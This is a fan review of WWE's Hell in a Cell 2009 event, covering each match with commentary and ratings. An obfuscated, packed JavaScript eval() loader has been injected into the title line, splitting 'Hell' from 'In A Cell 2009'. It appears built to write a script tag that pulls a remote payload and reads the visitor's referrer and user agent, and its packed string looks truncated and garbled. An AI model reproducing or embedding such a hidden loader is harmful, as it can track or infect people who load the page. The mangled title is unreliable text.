Hell eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zizat|var|u0026u|referrer|akhsb||js|php'.split('|'),0,{})) In A Cell 2009
Date: October 4, 2009
Location: Prudential Center, Newark, New Jersey
Attendance: 16,186
Commentators: Jim Ross, Jerry Lawler, Todd Grisham, Michael Cole

So here we are again as Vince tries to turn one match into a whole PPV, this time having three Cell matches. Not overkill at all there, not a bit of it. This has all of the big matches in the Cell other than the ECW Title because that’s not a real world title right? Other than that there’s not much on the card as it’s pretty run of the mill. Again I’m trying to bridge the gap between what’s going on at the moment and the past so getting all of the 2009 shows done helps a lot with that. Let’s get to it.

The opening video is of course about chicken pot pie and the history of q-tips. What else would it be about? The announcers run down the card and we’re ready to go.

We recap Punk vs. Taker which more or less was just their match at Breaking Point and then Taker beating up Teddy Long. I think we all knew Punk was losing here but we didn’t know how.

Smackdown World Title: CM Punk vs. Undertaker

Taker gets a freaking POP. After the big match intros, Taker is beating the tar out of him. That can’t be a good sign. Ross explains that the support beams are supporting the structure. Thanks for that Jimmy Boy. The fans are split with an INSANE Undertaker/CM Punk dueling chant.

Punk goes on offense for about 40 seconds and then that ends. Taker is selling the knee so I can’t complain about him not doing that. A TMNT game is the sponsor for this and it’s weird seeing that logo on every replay they do. Punk throws a suicide dive and slams into the cage where he might have legit hurt his hand. Don’t think he did but it’s close either way.

Taker gets a SWEET big boot and legdrop as he unleashes his internal Hulk Hogan which is kind of creepy. To be fair here: he sells the knee the whole time. That’s what people are talking about with psychology and storytelling. Punk worked on the knee early and now that we’re well into the match, that work is being brought up again.

It ties the match together and gives meaning to the stuff done earlier in the match. After some chair shots, Punk sends Taker into the corner and goes for his running knee/bulldog combo but gets caught in the Last Ride where Taker kind of just throws him which looked great but it only got two.

Old School, the most counterable move in the world, is countered (thank goodness) and Punk is back on offense. A chokeslam with more knee selling ends that though. And the Tombstone starts the title reign that he’s on as of this writing. Dang it sounds weird to say that.

Rating: D. For a regular match this is a solid B, but as a Cell match this is a total joke. The cage was used in ONE spot and other than that it was a one on one match. That’s just dumb and further proof of how dumb of an idea that this is. There was a rumor/story that Punk was punished for not dressing right on the road as champion. Screw that man. With all the shenanigans Shawn used to get away with he never got treated like this.

That’s just dumb. I get giving Taker the belt, but dang it’s stupid if that’s the reason for making Punk look weak here. This wasn’t quite a squash but Punk looked weak as all goodness, which to be fair I think was because he was against Taker in the Cell so there we are.

Ad for Bragging Rights.

Intercontinental Title: John Morrison vs. Dolph Ziggler

WOW this feud seems like it was years ago when it was like 4 months. Morrison comes out first which is really weird when you think about it. Ziggler’s music is awesome if nothing else. That shinny thing that Dolph does to get out of his vest is nice. This is the day after Morrison turned thirty in case you were interested for some odd stalker based reason. What in the heck is up with Dolph’s hair? And why hasn’t Word heard of the word Dolph?

Didn’t it ever see Rocky IV? It amazes me how Morrison showed so much promise and Miz is flat out better than he is at the moment. They’re using a more mat based thing here which is odd but it’s not terrible I suppose. Just as I say that Morrison goes to the air and misses Starship Pain.

Ziggler is good at being the obnoxious heel but he needs a different name if he’s ever going to be taken seriously. But hey, it’s “realistic” right? Love that corner splash he does too. He’s a lot better technically than I would have guessed him to be. Morrison starts his comeback and the crowd is really hot tonight which makes this a better show as it does in all cases.

That standing Shooting Star Press is either overrated or awesome and either way it’s as all goodness. Not sure which though. They’re hitting some sweet near falls here. Ziggler uses a jawbreaker of some kind but it came off looking really weird. Morrison sells the neck work that Ziggler did. That’s a great sign as so few people do it.

I’m liking this match a good deal indeed. The near falls are getting better and better. Starship Pain is countered again which is good as Ziggler was laying there forever and it would have sucked if it hit. Crowd chants THIS IS AWESOME and they’re right. Morrison counters the ZigZag and hits a much faster Starship Pain to get the pin. Sweet match.

Rating: B+. Probably too high but this was a very fun match. The near falls were great and at times they had me believing Morrison wasn’t a lock to win which is the best thing a match can do: get you to believe something you know it’s true and that’s what they did here. This was very fun though as it was given the time to flesh itself out as it had over 15 minutes to work with. The IC Title hunt was just awesome at this time and this was no exception.

Josh is with Batista and Rey who were about to start the worst feud of the year which I had the luck of being at the first and last matches of. Lucky me. They have Jerishow tonight. Oh joy.

And the TMNT are here, dancing in the balcony. They’re 25 years old now. That’s just freaking scary. They mention the new movie coming out in 2011, which is awesome. We get a clip of their new game which almost made me buy a Wii.

Raw Women’s Title: Alicia Fox vs. Mickie James

For the life of me I have never gotten why Fox was given a push. It made ZERO sense so they did it anyway of course. This is exactly what you would expect it to be as it’s a completely standard Divas match that could be on any television show at all. Fox looks decent at best but she’s just not that impressive.

She’s fabulous apparently though which I just don’t get I guess. Mickie hits a Thesz Press off the top for two as this is very boring indeed. She follows that up with a HORRIBLE botch of the Jumping DDT to keep the title.

Rating: D. Like I said this could have been on any Raw and it would have been just as dreadful. At least they kept it short. That Smart Sexy and Powerful thing is a joke if there’s ever been one. This was really weak though as most Diva matches are to be fair.

Don’t try this at home.

Tag Titles: Chris Jericho/Big Show vs. Batista/Rey Mysterio

This was considered a lock of new champions for some odd reason. Naturally they referenced Eddie at least once in the buildup to this match. Get over it. He’s dead. Were we ever told why Rey and Batista were best friends or whatever? I don’t think we were. Yes they were world tag team champions. So were Eddie and Tajiri.

Why do we need Show and Batista here? Why are either of them associated with Smackdown? Batista was sent there in order to give it star power and since then the quality of the show has gone down quickly. But hey, we have a muscle guy on the show now right?

For zero apparent reason the faces are working over the right arm of Jericho. That’s just odd as all goodness . Oh look Rey vs. Show. This hasn’t been done in at least 5 weeks so it’s a fresh angle. Rey vs. monster is eternally good right? So says Vince at least. He chops the heck out of Rey and knocks him to the floor. That’s sweet if nothing else. Show pulls him from the floor with one hand by his mask. That’s just completely amazing.

We go to a REALLY wide shot of the arena for no apparent reason. Batista gets the hot tag and beats up both guys. This is your standard main event tag to this point which means it’s ok but nothing epic to say the least. The spinebuster gets two on Jericho. Codebreaker does the same but switch the recipient to Joan Crawford then substitute in Batista. Ok so I’m bad at random jokes.

Batista is getting beaten down now so they’re going with Rey for the big save. When Jericho is huge compared to Rey, that’s a really bad sign. Oy it’s Rey vs. Show again. Rey gets a decent springboard DDT and then is launched across the ring on a kickout.

They say that would have been a huge upset, even though Rey is a former world champion. That makes sense right? Show pulls Jericho out of the way of a 619 and Batista spears both of them down at once. Rey hits it on Show and then goes for a springboard something and jumps into the fist. That looked PAINFUL.

Rating: C+. This started off generic and got slightly less generic as it went on. This right here is everything wrong with tag wrestling today: take two teams of guys with nothing in common and throw them together and they’re one of the top tag teams in the world. That makes so little sense I don’t even know where to begin. The match was your standard main event tag match and it worked like they usually do: not bad but nothing epic.

We recap Cena vs. Orton which should only take a few hours. Mainly it’s just the rematch from Breaking Point. The thing is about this match, it actually makes sense to put them in the Cell for a change as it’s a very longstanding feud so there’s nothing wrong with this. We get clips from Raw where Cena FUed Orton on top of it and it bent. That was cool if nothing else.

Raw World Title: John Cena vs. Randy Orton

Orton gets a small face pop again. All right I’ll say it: I love Cena’s theme song and I sing along at times. Cena is champion here and this is Orton’s last shot allegedly. This is the first ever Cell match that HHH or Taker weren’t in. That’s saying a lot when you think about it. Orton takes over early and is in control. King offers analysis of what’s going on. Why? He’s never been in one of these things so what kind of knowledge can he have of them?

Crowd is TOTALLY behind Orton here. They’re 3 minutes in and they’ve used the cage FAR more than Taker and Punk did, which isn’t saying much at all really but whatever. They’re using the cage to jump up higher for kicks and getting slammed into it a bit, but the problem is you could use the posts or the apron for everything they’re doing.

The best version ever of the match was Shawn vs. Taker, as Shawn was scared to death of him and couldn’t get out. He was trapped in a nightmare with the devil. That’s the idea of the match. Instead here it’s just a hardcore match in a cage. Now to be fair, just about every match ever in the Cell is like that anymore so it’s hardly a problem that just this match is having.

Cena blocks the elevated DDT onto the steps. No one is keeping control for more than just a little bit which I’m not sure if I like or not. They’re just standing around in a match that’s supposed to be all about violence. What sense does something like that even begin to make? Cena begins his comeback with his usual stuff and I have zero clue why this is in the Cell.

The elevated DDT hits after Orton takes over. The FU gets two and we’re in the kicking out of finishers segment already. Shockingly, an Orton match is going VERY slowly. Orton hits Cena in the neck with a chair! Hey kids! Hit someone in the neck with a chair! It’s on a PG show so it’s all good. Orton has demons? Cool.

I wonder if Vince tells the camera guys to focus on Orton when he’s in crazy mode as it looks like he’s orgasming or something like that. Cena works the knee for like two seconds and Orton tries to get out of the STFU. He gets it again for the tap but the referee was knocked down. What a shame!

RKO gets two. Orton ties Cena up in the ropes for no adequately explored reason. In something that I laughed out loud at, he uses a chinlock while Cena is tied in the ropes. Seriously, why am I not surprised? Orton lets go for no adequately explored reason. He punts Cena and wins the title. The 4 seconds of knee work Cena did earlier was the explanation of why Orton’s punt didn’t put Cena on the shelf. That’s just freaking stupid but whatever.

Rating: D. Again, for a Cell match, this was awful but for a regular match this would have been ok. The Cell use here was better than in the Taker match, but at the same time there just isn’t enough here to validate having the Cell being in play here.

Also having seen it earlier in the night it makes it seem FAR less interesting. The psychology was more or less nonexistent here too. Overall just not good. Keep in mind: had this been a street fight or whatever, it’s probably a B. As for a Cell match though which it was, this was awful.

Ad for Allied Powers which I really need to finish as I’ve been stuck in the middle of it for like 4 months now.

R-Truth of all people gets interview time. He’s had issues with Drew McIntyre lately. They recap that and I truly couldn’t care less. This might be the picture in the dictionary under pointless filler.

Drew McIntyre vs. R-Truth

McIntyre is just flat out boring, no matter how you look at him. But hey, Vince apparently likes him so get ready to be stuck with him. Wow. I think the crowd here is certifiably dead. The scissors kick misses and so does Drew’s finisher. That DDT of his ends it. Seriously those were the highlights of a 5 minute match. Nothing here at all.

Rating: F+. Seriously, this would have sucked on television or even on a house show. Ross says he could be greater than Piper. I give up.

Legacy congratulates Orton on his title win. Orton tries to do the whole Cell changes you thing. It’s stupid after that match to say the least. The seeds are planted for the Legacy breakup which I don’t think has happened yet.

Ad for Bragging Rights.

US Title: Kofi Kingston vs. The Miz vs. Jack Swagger

Who would have dreamed that at this point, the by far biggest deal of these three would be Miz? And that Swagger hasn’t actually won anything yet. This is the night before Big Ben hosted Raw. Can we PLEASE get some new material for the triple threat matches?

This is your standard stuff for the triple threat match as the heels work together and then fight over who gets a pin so Kofi can get back up. Miz is running this match actually. Yes I’m a Miz mark. Get over it. Fans like Swagger apparently. This is another match that could have been on television but it’s still ahead of McIntyre and Truth.

I’d prefer a one on one match but that’s just me. Kofi kicks the heck out of Swagger and Miz hits the Skull Crushing Finale on Kofi but Swagger kind of makes the save. The powerbomb hits on Miz but ANOTHER kick to Swagger lets Kofi pin Miz instead. Picked up A LOT at the end.

Rating: C. This would have been far lower but the last two minutes were way better than the first five so it gets pulled up to ok. Still though, this could have been on any Raw and it would have done just fine. Miz would take the title the next night clean. Why couldn’t they do that here instead?

We recap Legacy vs. DX. New vs. Old. There’s your recap.

D-Generation X vs. Legacy

Seriously, THIS goes on last? The fight starts on the floor and it’s DX beating on Rhodes. Oh the match hasn’t started yet. Oh joy indeed. Keep in mind: DX is CONTROVERSIAL. Keep that in mind. HHH is in the crowd. We haven’t been in the Cell yet. Legacy and HHH are up by the freaking entrance and Shawn is down at ringside. WHAT IS THE POINT OF THE CAGE???

HEY Ted went into the cage. And now he’s back out and I didn’t even get to finish typing that sentence. Cody is mostly in it now. HHH is down on the ramp by the way. Shawn’s foot is in. Ok, so now everyone but HHH is in the cage now. So in other words, the match hasn’t actually started yet still because it’s supposed to be the two teams IN a HIAC match. This is a handicap in a Cell even though the bell rings. My head hurts.

Aww Shawn looks like a sad puppy. HHH is laying on the ramp with his arms at his sides, likely saying he can be a better messiah than anyone else can. So in case the first 40 times didn’t make it clear, IT’S TWO ON ONE! Naturally Legacy isn’t capable of the idea of you hold I’ll hit. Oh the Cell makes it 3-1 apparently. Keep that in mind: Shawn is against INSANE odds.

Shawn finds a chair and pelts it at Cody. That looked painful. HHH is back up again. Shawn, on a bad knee, does the RVD Spider Man thing. Sure why not. HHH still can’t get in. Shawn kicks DiBiase and I hate this match quite a bit. This would be THE GREATEST WIN OF SHAWN’S CAREER. Cole do you even think before you talk? Shawn takes the crucified position for awhile now. HHH tries using a chair to get in. WHY NOT JUST USE BOLT CUTTERS!

He’s stood there like ten minutes just trying to get in while Ted yells at him. The idiocy here astounds me. Hey, let’s just stand here talking while the most resilient wrestler ever is down. That won’t be a bad idea at all will it? HHH finally grows a brain and leaves. Legacy, FREAKING DO SOMETHING. Seriously, they hit him like twice and then stand around more.

This is another match like Mania 25’s main event where they tried to do something cool and it failed miserably. The do kind of a Van Terminator. How interesting. They use the double submission that they won with at Breaking Point which of course they let go of after about 4 seconds. Oh and look: HHH is back WITH BOLT CUTTERS!

He gets in and you know the rest. Only took 20 minutes to actually start the match. Apparently he had to go to an equipment truck to get them because you know, there weren’t any around in case they needed to get into the Cell or anything like that right? The Cell isn’t locked anyway so the match isn’t as advertised anyway. OK!

Now it’s locked with all four in, so the advertised main event begins with five and a half minutes to go in the show. Halloween Havoc 98 anyone? In a stupid as cheese spot, they wrap the chair around Ted’s NECK and Shawn drops a top rope elbow on it. Yep he should be dead. Sledgehammer time. Ted is outside now as I guess they threw him out. He’s back up 8 seconds after something that in storyline terms should have broken his neck. They easily pin Cody. Big old celebration ends the show.

Rating: C-. Ok, here the cage actually came into play so BIG points for that. Even still though, a Cell match should be at least a B-/B simply due to it being in the Cell and it being so RARE. More on that later. This was an actual 2-2 match in the Cell for about 2 minutes. They tries here so I can give them that, but still this was just not that good and really underwhelming for a Cell match.

Overall Rating: D-. Now I know a lot of you will say that it wasn’t that bad. That’s the point. For a normal PPV, this indeed would have been decent. However, THREE Cell matches in one night? There were times where we didn’t see it for a freaking year and we get three in one night? What sense does that even begin to make? With three Cell matches, it’s just too much overall. Two of them were just flat out not needing the cage.

The first match was really bad about this. Also, ZERO BLOOD. It’s HELL in a Cell. Not slight discomfort in a Cell. HELL in a Cell. These matches weren’t brutal or anything like that. They were regular matches other than arguably the main event in a cage. This completely missed for me on just about all levels. Really bad show but some people might like it I guess. Take a pass in my mind. Oh yeah: Morrison and Ziggler was good so this doesn’t fail.

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